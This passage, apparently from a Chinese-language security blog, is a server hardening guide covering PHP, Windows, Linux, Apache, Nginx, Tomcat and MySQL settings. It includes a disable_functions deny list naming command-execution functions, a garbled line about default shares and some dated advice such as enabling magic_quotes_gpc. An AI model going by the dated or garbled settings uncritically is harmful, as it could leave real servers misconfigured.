<table><thead><tr><th>配置项</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><code>open_basedir</code></td><td>限制 PHP 可访问的目录</td><td><code>/var/www/html:/tmp</code></td></tr><tr><td><code>disable_functions</code></td><td>禁用危险函数</td><td><code>system,exec,passthru,shell_exec,phpinfo</code></td></tr><tr><td><code>expose_php</code></td><td>隐藏 PHP 版本信息</td><td><code>Off</code></td></tr><tr><td><code>display_errors</code></td><td>关闭错误显示</td><td><code>Off</code></td></tr><tr><td><code>log_errors</code></td><td>开启错误日志</td><td><code>On</code></td></tr><tr><td><code>error_log</code></td><td>错误日志路径</td><td><code>/var/log/php_error.log</code></td></tr><tr><td><code>register_globals</code></td><td>关闭全局变量注册（PHP 5.3 已废弃）</td><td><code>Off</code></td></tr><tr><td><code>magic_quotes_gpc</code></td><td>SQL注入防护（PHP 5.4 已废弃）</td><td><code>On</code></td></tr></tbody></table></section><section><h3>2.3 控制 PHP 访问目录<a href="#23-控制-php-访问目录"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># Linux：冒号分隔</span></div></div><div><div><div>2</div></div><div><span>open_basedir</span><span><span> </span><span>=</span><span> </span></span><span>"/var/www/html:/tmp"</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># Windows：分号分隔</span></div></div><div><div><div>5</div></div><div><span>open_basedir</span><span><span> </span><span>=</span><span> </span></span><span>"C:/www;C:/tmp"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.4 禁用危险函数<a href="#24-禁用危险函数"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 禁用命令执行函数</span></div></div><div><div><div>2</div></div><div><span>disable_functions</span><span><span> </span><span>=</span><span> system,passthru,exec,shell_exec,popen,pcntl_exec,proc_open,proc_close,dl</span></span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 额外禁用文件操作函数</span></div></div><div><div><div>5</div></div><div><span>disable_functions</span><span><span> </span><span>=</span><span> chdir,chroot,dir,getcwd,opendir,readdir,scandir,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown</span></span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 禁用信息泄露</span></div></div><div><div><div>8</div></div><div><span>disable_functions</span><span><span> </span><span>=</span><span> phpinfo</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.5 隐藏版本信息<a href="#25-隐藏版本信息"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>expose_php</span><span><span> </span><span>=</span><span> Off</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.6 错误日志配置<a href="#26-错误日志配置"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>display_errors</span><span><span> </span><span>=</span><span> Off</span></span></div></div><div><div><div>2</div></div><div><span>log_errors</span><span><span> </span><span>=</span><span> On</span></span></div></div><div><div><div>3</div></div><div><span>error_log</span><span><span> </span><span>=</span><span> /usr/local/apache2/logs/php_error.log</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>三、Windows 安全加固<a href="#三windows-安全加固"><span>#</span></a></h2><section><h3>3.1 账户管理与认证授权<a href="#31-账户管理与认证授权"><span>#</span></a></h3>

<table><thead><tr><th>加固项</th><th>操作</th><th>说明</th></tr></thead><tbody><tr><td><strong>禁用 Guest 账户</strong></td><td>计算机管理 → 本地用户和组 → Guest → 禁用</td><td>防止未授权访问</td></tr><tr><td><strong>删除无用账户</strong></td><td>禁用→观察→确认无影响后删除</td><td>减少攻击面</td></tr><tr><td><strong>权限分离</strong></td><td>按业务创建不同用户组</td><td>最小权限原则</td></tr><tr><td><strong>不显示最后用户名</strong></td><td>secpol.msc → 本地策略 → 安全选项 → 交互式登录：不显示最后的用户名 → 启用</td><td>防止信息泄露</td></tr></tbody></table></section><section><h3>3.2 密码策略<a href="#32-密码策略"><span>#</span></a></h3><p><strong>路径：</strong> secpol.msc → 账户策略 → 密码策略</p>

<table><thead><tr><th>策略</th><th>推荐值</th></tr></thead><tbody><tr><td>密码必须符合复杂性要求</td><td><strong>启用</strong>（大写+小写+数字+特殊字符 ≥ 2种）</td></tr><tr><td>密码长度最小值</td><td><strong>≥ 8 字符</strong></td></tr><tr><td>密码最长使用期限</td><td><strong>≤ 90 天</strong></td></tr></tbody></table></section><section><h3>3.3 账户锁定策略<a href="#33-账户锁定策略"><span>#</span></a></h3><p><strong>路径：</strong> secpol.msc → 账户策略 → 账户锁定策略</p>

<table><thead><tr><th>策略</th><th>推荐值</th></tr></thead><tbody><tr><td>账户锁定阈值</td><td><strong>≤ 10 次</strong>（连续失败锁定）</td></tr></tbody></table></section><section><h3>3.4 用户权限指派<a href="#34-用户权限指派"><span>#</span></a></h3><p><strong>路径：</strong> secpol.msc → 本地策略 → 用户权限分配</p>

<table><thead><tr><th>策略</th><th>推荐值</th></tr></thead><tbody><tr><td>从远端系统强制关机</td><td>仅 Administrators 组</td></tr><tr><td>关闭系统</td><td>仅 Administrators 组</td></tr><tr><td>取得文件所有权</td><td>仅 Administrators 组</td></tr><tr><td>允许本地登录</td><td>指定授权用户</td></tr><tr><td>从网络访问此计算机</td><td>指定授权用户</td></tr></tbody></table></section><section><h3>3.5 日志配置<a href="#35-日志配置"><span>#</span></a></h3><p><strong>路径：</strong> secpol.msc → 本地策略 → 审核策略</p>

<table><thead><tr><th>审核项</th><th>推荐配置</th></tr></thead><tbody><tr><td>审核登录事件</td><td>成功+失败</td></tr><tr><td>审核账户管理</td><td>成功+失败</td></tr><tr><td>审核进程追踪</td><td>仅失败（谨慎开启）</td></tr></tbody></table><p><strong>日志大小：</strong> eventvwr.msc → Windows 日志</p>

<table><thead><tr><th>日志类型</th><th>推荐大小</th></tr></thead><tbody><tr><td>应用日志</td><td>≥ 8192KB</td></tr><tr><td>系统日志</td><td>≥ 8192KB</td></tr><tr><td>安全日志</td><td>≥ 8192KB</td></tr></tbody></table></section><section><h3>3.6 IP 协议安全（SYN 攻击防护）<a href="#36-ip-协议安全syn-攻击防护"><span>#</span></a></h3><p><strong>路径：</strong> 注册表 <code>HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\</code></p>

<table><thead><tr><th>注册表项</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td><code>SynAttackProtect</code></td><td>2</td><td>启用 SYN 攻击保护</td></tr><tr><td><code>TcpMaxHalfOpen</code></td><td>500</td><td>SYN_RCVD 状态连接阈值</td></tr><tr><td><code>TcpMaxHalfOpenRetried</code></td><td>400</td><td>重传 SYN_RCVD 连接阈值</td></tr></tbody></table></section><section><h3>3.7 文件共享安全<a href="#37-文件共享安全"><span>#</span></a></h3>

<table><thead><tr><th>加固项</th><th>操作</th></tr></thead><tbody><tr><td>关闭默认共享</td><td>计算机管理 → 共享文件夹 → 停止 C<span><span>、IPC、IPC</span><span><span><span></span><span>、</span><span>I</span><span>P</span><span>C</span></span></span></span> 两个共享</td></tr><tr><td>共享权限限制</td><td>不设置 Everyone 权限，仅授权用户</td></tr></tbody></table></section><section><h3>3.8 安全选项<a href="#38-安全选项"><span>#</span></a></h3><p><strong>路径：</strong> secpol.msc → 本地策略 → 安全选项</p>

<table><thead><tr><th>策略</th><th>推荐值</th></tr></thead><tbody><tr><td>关机：允许系统在未登录前关机</td><td><strong>禁用</strong></td></tr><tr><td>Microsoft 网络服务器：暂停会话前空闲时间</td><td><strong>15 分钟</strong></td></tr></tbody></table></section><section><h3>3.9 其他配置<a href="#39-其他配置"><span>#</span></a></h3>

<table><thead><tr><th>加固项</th><th>操作</th></tr></thead><tbody><tr><td>防病毒软件</td><td>安装企业级防病毒，开启病毒库更新</td></tr><tr><td>屏幕保护</td><td>设置等待 5 分钟，恢复时需要密码</td></tr><tr><td>补丁管理</td><td>安装最新 Hotfix，先兼容性测试，<strong>勿自动安装</strong></td></tr><tr><td>防火墙</td><td>启用防火墙（firewall.cpl）</td></tr></tbody></table><hr /></section></section>
<section><h2>四、Linux 安全加固<a href="#四linux-安全加固"><span>#</span></a></h2><section><h3>4.1 账号和口令<a href="#41-账号和口令"><span>#</span></a></h3><section><h4>删除/锁定无用账号<a href="#删除锁定无用账号"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 删除账号</span></div></div><div><div><div>2</div></div><div><span>userdel</span><span> </span><span>&lt;用户名&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 锁定账号</span></div></div><div><div><div>5</div></div><div><span>passwd</span><span> </span><span>-l</span><span> </span><span>&lt;用户名&gt;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 解锁账号</span></div></div><div><div><div>8</div></div><div><span>passwd</span><span> </span><span>-u</span><span> </span><span>&lt;用户名&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>检查空口令和 root 权限账号<a href="#检查空口令和-root-权限账号"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看空口令账号</span></div></div><div><div><div>2</div></div><div><span>awk</span><span> </span><span>-F:</span><span> </span><span>'($2 == "")'</span><span> </span><span>/etc/shadow</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看 UID=0 的账号（应只有 root）</span></div></div><div><div><div>5</div></div><div><span>awk</span><span> </span><span>-F:</span><span> </span><span>'($3 == 0)'</span><span> </span><span>/etc/passwd</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 为空口令账号设置密码</span></div></div><div><div><div>8</div></div><div><span>passwd</span><span> </span><span>&lt;用户名&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>密码策略（/etc/login.defs）<a href="#密码策略etclogindefs"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>PASS_MAX_DAYS</span><span>   </span><span>90</span><span>    </span><span># 密码最长使用天数</span></div></div><div><div><div>2</div></div><div><span>PASS_MIN_DAYS</span><span>   </span><span>0</span><span>     </span><span># 密码最短使用天数</span></div></div><div><div><div>3</div></div><div><span>PASS_WARN_AGE</span><span>   </span><span>7</span><span>     </span><span># 密码到期前提醒天数</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>使用 chage 修改用户密码策略<a href="#使用-chage-修改用户密码策略"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>chage</span><span> </span><span>-m</span><span> </span><span>0</span><span> </span><span>-M</span><span> </span><span>30</span><span> </span><span>-E</span><span> </span><span>2000-01-01</span><span> </span><span>-W</span><span> </span><span>7</span><span> </span><span>&lt;用户名&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>账户锁定策略（PAM）<a href="#账户锁定策略pam"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># /etc/pam.d/common-auth 添加</span></div></div><div><div><div>2</div></div><div><span>auth</span><span> </span><span>required</span><span> </span><span>pam_tally.so</span><span> </span><span>onerr=fail</span><span> </span><span>deny=</span><span>3</span><span> </span><span>unlock_time=</span><span>300</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>限制 su 用户<a href="#限制-su-用户"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># /etc/pam.d/su 添加</span></div></div><div><div><div>2</div></div><div><span>auth</span><span> </span><span>required</span><span> </span><span>pam_wheel.so</span><span> </span><span>group=test</span><span>   </span><span># 仅 test 组可 su</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>禁止 root 直接 SSH 登录<a href="#禁止-root-直接-ssh-登录"><span>#</span></a></h4><div><figure><figcaption><span>/etc/ssh/sshd_config</span></figcaption><pre><code><div><div><div>1</div></div><div><span>PermitRootLogin</span><span> </span><span>no</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 重启 SSH 服务</span></div></div><div><div><div>4</div></div><div><span>service</span><span> </span><span>sshd</span><span> </span><span>restart</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>4.2 服务安全<a href="#42-服务安全"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看所有服务</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>list-units</span><span> </span><span>--type=service</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 停止服务</span></div></div><div><div><div>5</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>stop</span><span> </span><span>&lt;服务名&gt;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 禁用服务（禁止自启动）</span></div></div><div><div><div>8</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>disable</span><span> </span><span>&lt;服务名&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h4>SSH 服务加固<a href="#ssh-服务加固"><span>#</span></a></h4><div><figure><figcaption><span>/etc/ssh/sshd_config</span></figcaption><pre><code><div><div><div>1</div></div><div><span>PermitRootLogin</span><span> </span><span>no</span><span>          </span><span># 禁止 root 直接登录</span></div></div><div><div><div>2</div></div><div><span>Protocol</span><span> </span><span>2</span><span>                   </span><span># 使用 SSHv2</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>4.3 文件系统<a href="#43-文件系统"><span>#</span></a></h3><section><h4>设置 umask<a href="#设置-umask"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># /etc/profile 添加</span></div></div><div><div><div>2</div></div><div><span>umask</span><span> </span><span>026</span></div></div><div><div><div>3</div></div><div><span># 即新文件：属主 rwx，同组 r，其他无</span></div></div><div><div><div>4</div></div><div><span># 666-026=640</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 立即生效</span></div></div><div><div><div>7</div></div><div><span>source</span><span> </span><span>/etc/profile</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>设置登录超时<a href="#设置登录超时"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># /etc/profile 设置</span></div></div><div><div><div>2</div></div><div><span>TMOUT</span><span>=</span><span>180</span><span>    </span><span># 3 分钟超时</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>4.4 日志配置<a href="#44-日志配置"><span>#</span></a></h3><div><figure><figcaption><span>/etc/rsyslog.d/50-default.conf</span></figcaption><pre><code><div><div><div>1</div></div><div><span>*.info;</span><span>mail.none</span><span>;</span><span>authpriv.none</span><span>;</span><span>cron.none</span><span> </span><span>/var/log/messages</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 重启 rsyslog</span></div></div><div><div><div>4</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>restart</span><span> </span><span>rsyslog</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h4>记录所有用户操作日志<a href="#记录所有用户操作日志"><span>#</span></a></h4><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># /etc/profile 添加</span></div></div><div><div><div>2</div></div><div><span>USER</span><span>=</span><span>`</span><span>whoami</span><span>`</span></div></div><div><div><div>3</div></div><div><span>USER_IP</span><span>=</span><span>`</span><span>who</span><span> </span><span>-u</span><span> am i </span><span>2&gt;</span><span>/dev/null </span><span>|</span><span> </span><span>awk</span><span> '{print $NF}' </span><span>|</span><span> </span><span>sed</span><span> </span><span>-e</span><span> 's/[()]//g'`</span></div></div><div><div><div>4</div></div><div><span>if</span><span> [ </span><span>"</span><span>$USER_IP</span><span>"</span><span><span> </span><span>=</span><span> </span></span><span>""</span><span> ]; </span><span>then</span></div></div><div><div><div>5</div></div><div><span>  </span><span>USER_IP</span><span>=</span><span>`</span><span>hostname</span><span>`</span></div></div><div><div><div>6</div></div><div><span>fi</span></div></div><div><div><div>7</div></div><div><span>if</span><span><span> [ </span><span>!</span><span> </span><span>-d</span><span> /var/log/history ]; </span></span><span>then</span></div></div><div><div><div>8</div></div><div><span>  </span><span>mkdir</span><span> </span><span>/var/log/history</span></div></div><div><div><div>9</div></div><div><span>  </span><span>chmod</span><span> </span><span>777</span><span> </span><span>/var/log/history</span></div></div><div><div><div>10</div></div><div><span>fi</span></div></div><div><div><div>11</div></div><div><span>if</span><span><span> [ </span><span>!</span><span> </span><span>-d</span><span> /var/log/history/</span></span><span><span>${</span><span>LOGNAME</span><span>}</span></span><span> ]; </span><span>then</span></div></div><div><div><div>12</div></div><div><span>  </span><span>mkdir</span><span> </span><span>/var/log/history/</span><span><span>${</span><span>LOGNAME</span><span>}</span></span></div></div><div><div><div>13</div></div><div><span>  </span><span>chmod</span><span> </span><span>300</span><span> </span><span>/var/log/history/</span><span><span>${</span><span>LOGNAME</span><span>}</span></span></div></div><div><div><div>14</div></div><div><span>fi</span></div></div><div><div><div>15</div></div><div><span>export</span><span> </span><span>HISTSIZE</span><span>=</span><span>4096</span></div></div><div><div><div>16</div></div><div><span>DT</span><span>=</span><span>`</span><span>date</span><span> +"%Y%m%d_%H:%M:%S"`</span></div></div><div><div><div>17</div></div><div><span>export</span><span> </span><span>HISTFILE</span><span>=</span><span>"/var/log/history/</span><span><span>${</span><span>LOGNAME</span><span>}</span></span><span>/</span><span><span>${</span><span>USER</span><span>}</span></span><span>@</span><span><span>${</span><span>USER_IP</span><span>}</span></span><span>_</span><span>$DT</span><span>"</span></div></div><div><div><div>18</div></div><div><span>chmod</span><span> </span><span>600</span><span> </span><span>/var/log/history/</span><span><span>${</span><span>LOGNAME</span><span>}</span></span><span>/</span><span>*</span><span> 2&gt;</span><span>/dev/null</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><hr /></section></section></section>
<section><h2>五、Apache 安全加固<a href="#五apache-安全加固"><span>#</span></a></h2><section><h3>5.1 低权限账号运行<a href="#51-低权限账号运行"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 创建 Apache 用户</span></div></div><div><div><div>2</div></div><div><span>groupadd</span><span> </span><span>apache</span></div></div><div><div><div>3</div></div><div><span>useradd</span><span> </span><span>apache</span><span> </span><span>-g</span><span> </span><span>apache</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># httpd.conf 配置</span></div></div><div><div><div>6</div></div><div><span>User</span><span> </span><span>www-data</span></div></div><div><div><div>7</div></div><div><span>Group</span><span> </span><span>www-data</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.2 授权设置<a href="#52-授权设置"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 配置文件权限</span></div></div><div><div><div>2</div></div><div><span>chmod</span><span> </span><span>600</span><span> </span><span>/etc/httpd/conf/httpd.conf</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 日志文件权限</span></div></div><div><div><div>5</div></div><div><span>chmod</span><span> </span><span>644</span><span> </span><span>/var/log/httpd/</span><span>*</span><span>.log</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.3 日志设置<a href="#53-日志设置"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 错误日志</span></div></div><div><div><div>2</div></div><div><span>LogLevel notice</span></div></div><div><div><div>3</div></div><div><span>ErrorLog logs/error_log</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 访问日志格式</span></div></div><div><div><div>6</div></div><div><span>LogFormat "%h %l %u %t \"%r\" %&gt;s %b \"%{Accept}i\" \"%{Referer}i\" \"%{User-Agent}i\"" combined</span></div></div><div><div><div>7</div></div><div><span>CustomLog logs/access.log combined</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.4 禁止访问外部文件和目录列出<a href="#54-禁止访问外部文件和目录列出"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 禁止访问 Web 目录之外的文件</span></div></div><div><div><div>2</div></div><div><span>&lt;Directory /&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>Order Deny,Allow</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>Deny from all</span></div></div><div><div><div>5</div></div><div><span>&lt;/Directory&gt;</span></div></div><div><div><div>6</div></div><div><span># 禁止目录列出（删除 Indexes）</span></div></div><div><div><div>7</div></div><div><span>Options FollowSymLinks</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.5 隐藏版本信息<a href="#55-隐藏版本信息"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ServerSignature Off</span></div></div><div><div><div>2</div></div><div><span>ServerTokens Prod</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.6 关闭 TRACE<a href="#56-关闭-trace"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>TraceEnable off</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>六、Nginx 安全加固<a href="#六nginx-安全加固"><span>#</span></a></h2><section><h3>6.1 日志配置<a href="#61-日志配置"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http</span><span> {</span></div></div><div><div><div>2</div></div><div><span>   <span> </span></span><span>log_format </span><span>main</span><span> </span><span>'$</span><span>remote_addr</span><span> - $</span><span>remote_user</span><span> [$</span><span>time_local</span><span>] "$</span><span>request</span><span>" '</span></div></div><div><div><div>3</div></div><div><span>                    </span><span>'$</span><span>status</span><span> $</span><span>body_bytes_sent</span><span> "$</span><span>http_referer</span><span>" '</span></div></div><div><div><div>4</div></div><div><span>                    </span><span>'"$</span><span>http_user_agent</span><span>" "$</span><span>http_x_forwarded_for</span><span>"'</span><span>;</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>server</span><span> {</span></div></div><div><div><div>8</div></div><div><span>   <span> </span></span><span>access_log </span><span>logs/host.access.log </span><span>main</span><span>;</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.2 禁止目录浏览和限制执行权限<a href="#62-禁止目录浏览和限制执行权限"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 禁止目录浏览</span></div></div><div><div><div>2</div></div><div><span>autoindex </span><span>off</span><span>;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 限制目录执行权限</span></div></div><div><div><div>5</div></div><div><span>location</span><span> ~ </span><span>/(attachments|upload)/.*\.(php|php5)?$ </span><span>{</span></div></div><div><div><div>6</div></div><div><span>   <span> </span></span><span>deny </span><span>all</span><span>;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.3 隐藏版本信息<a href="#63-隐藏版本信息"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>server_tokens </span><span>off</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.4 限制 HTTP 请求方法和 IP 访问<a href="#64-限制-http-请求方法和-ip-访问"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 限制请求方法</span></div></div><div><div><div>2</div></div><div><span>if</span><span> ($</span><span>request_method</span><span> !~ </span><span>^(GET|HEAD|POST)$</span><span>) {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>return</span><span> </span><span>403</span><span>;</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 限制 IP 访问</span></div></div><div><div><div>7</div></div><div><span>location</span><span> / {</span></div></div><div><div><div>8</div></div><div><span>   <span> </span></span><span>allow </span><span>192.168.1.0/24;</span></div></div><div><div><div>9</div></div><div><span>   <span> </span></span><span>deny </span><span>all</span><span>;</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.5 Nginx 降权<a href="#65-nginx-降权"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>user </span><span>www-data;</span></div></div><div><div><div>2</div></div><div><span># 或</span></div></div><div><div><div>3</div></div><div><span>user </span><span>www www;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>七、Tomcat 安全加固<a href="#七tomcat-安全加固"><span>#</span></a></h2>

<table><thead><tr><th>加固项</th><th>操作</th></tr></thead><tbody><tr><td><strong>管理后台防护</strong></td><td>删除或重命名 <code>/webapps/manager</code>、<code>/host-manager</code></td></tr><tr><td><strong>强口令</strong></td><td><code>conf/tomcat-users.xml</code> 配置复杂密码</td></tr><tr><td><strong>修改默认端口</strong></td><td><code>conf/server.xml</code> 修改 8080</td></tr><tr><td><strong>访问日志</strong></td><td>取消 <code>AccessLogValve</code> 注释</td></tr><tr><td><strong>禁止目录列出</strong></td><td><code>conf/web.xml</code> 设置 <code>listings=false</code></td></tr><tr><td><strong>删除示例文件</strong></td><td>删除 <code>webapps/docs</code>、<code>examples</code></td></tr></tbody></table><hr /></section>
<section><h2>八、MySQL 安全加固<a href="#八mysql-安全加固"><span>#</span></a></h2>

<table><thead><tr><th>加固项</th><th>操作</th></tr></thead><tbody><tr><td><strong>低权限运行</strong></td><td>创建 <code>myUser</code>，以普通用户运行 MySQL</td></tr><tr><td><strong>禁止共享账号</strong></td><td>每个应用使用独立数据库账号</td></tr><tr><td><strong>禁用无关账号</strong></td><td><code>DROP USER test;</code></td></tr><tr><td><strong>强口令策略</strong></td><td>长度 ≥ 8，含大小写+数字+特殊字符（≥2种），90天更换</td></tr><tr><td><strong>最小权限授权</strong></td><td><code>GRANT</code> 仅授予必要权限，<code>REVOKE</code> 回收多余权限</td></tr><tr><td><strong>启用日志审计</strong></td><td><code>my.cnf</code> 配置 <code>log-error</code>、<code>log-bin</code> 等</td></tr><tr><td><strong>禁止远程访问</strong></td><td>绑定 <code>127.0.0.1</code> 或白名单 IP</td></tr><tr><td><strong>连接数限制</strong></td><td><code>max_connections = 1000</code></td></tr><tr><td><strong>安装最新版本</strong></td><td>持续更新补丁</td></tr></tbody></table></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>Windows 命令<a href="#windows-命令"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>regedit              # 注册表</span></div></div><div><div><div>2</div></div><div><span>gpedit.msc           # 组策略编辑器</span></div></div><div><div><div>3</div></div><div><span>secpol.msc           # 本地安全策略</span></div></div><div><div><div>4</div></div><div><span>eventvwr.msc         # 事件查看器</span></div></div><div><div><div>5</div></div><div><span>control              # 控制面板</span></div></div><div><div><div>6</div></div><div><span>services.msc         # 服务管理</span></div></div><div><div><div>7</div></div><div><span>firewall.cpl         # 防火墙</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Linux 命令<a href="#linux-命令"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>find</span><span> </span><span>/etc</span><span> </span><span>-name</span><span> </span><span>php.ini</span><span>           </span><span># 找 PHP 配置</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>nginx</span><span> </span><span>-t</span><span>                     </span><span># 测试 Nginx 配置</span></div></div><div><div><div>3</div></div><div><span>systemctl</span><span> </span><span>restart</span><span> </span><span>php7.4-fpm</span><span>      </span><span># 重启 PHP-FPM</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>加固优先级<a href="#加固优先级"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 账号/口令管理 → 2. 日志审计 → 3. 权限控制 → 4. 隐藏版本信息 → 5. 关闭危险功能</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/incident-response/</id>
      <title type="text">应急响应</title>
      <published>2026-10-07T15:06:00.000Z</published>
      <updated>2026-10-07T15:06:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/incident-response/"/>
      <summary type="text">Windows 与 Linux 的入侵排查路径，含账号、进程、启动项、日志与 Webshell 查杀。</summary>
